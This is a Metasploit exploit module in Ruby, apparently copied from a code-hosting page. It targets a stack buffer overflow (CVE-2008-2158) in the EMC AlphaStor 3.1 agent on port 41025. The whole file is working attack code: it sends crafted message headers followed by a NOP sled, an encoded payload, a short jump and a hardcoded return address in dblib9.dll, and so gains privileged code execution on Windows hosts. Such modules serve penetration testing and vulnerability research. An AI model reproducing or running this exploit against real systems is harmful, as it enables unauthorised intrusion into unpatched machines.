82 lines
2.2 KiB
Ruby
82 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EMC AlphaStor Agent Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
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By sending a specially crafted message, an attacker may
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be able to execute arbitrary code.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2008-2158' ],
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[ 'OSVDB', '45714' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process', # one-shot overwrite.
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975
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],
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'Privileged' => true,
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'DisclosureDate' => 'May 27 2008',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(41025)], self.class)
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end
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def exploit
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connect
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# overwrite via: ascli.exe asopmsg "long_buff"
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uno = [0x0000000b].pack('V')
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sock.put(uno)
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dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00"
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sock.put(dos)
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tres = [0x00000004].pack('V')
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sock.put(tres)
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quatro = [0x0000001b].pack('V')
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sock.put(quatro)
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cinco = [0x0000047c].pack('V')
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sock.put(cinco)
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data = make_nops(827 - payload.encoded.length) + payload.encoded
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data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
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data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00"
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print_status("Trying target #{target.name}...")
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sock.put(data)
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handler
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disconnect
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end
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end
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